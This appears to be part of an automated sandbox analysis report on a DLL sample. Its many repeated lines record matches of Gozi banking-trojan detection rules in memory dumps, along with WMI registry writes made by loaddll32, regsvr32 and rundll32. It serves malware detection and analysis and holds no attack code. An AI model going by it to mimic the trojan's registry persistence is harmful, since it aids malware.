      Source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: Process Memory Space: loaddll32.exe PID: 160, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: Process Memory Space: loaddll32.exe PID: 160, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: Process Memory Space: regsvr32.exe PID: 5424, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: Process Memory Space: regsvr32.exe PID: 5424, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: Process Memory Space: rundll32.exe PID: 5428, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: Process Memory Space: rundll32.exe PID: 5428, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: Process Memory Space: rundll32.exe PID: 5328, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: Process Memory Space: rundll32.exe PID: 5328, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Writes or reads registry keys via WMI
      Source: C:\Windows\System32\loaddll32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Windows\System32\loaddll32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\System32\loaddll32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\System32\loaddll32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Writes registry values via WMI
      Source: C:\Windows\System32\loaddll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\System32\loaddll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\System32\loaddll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: login.dllStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
      Source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
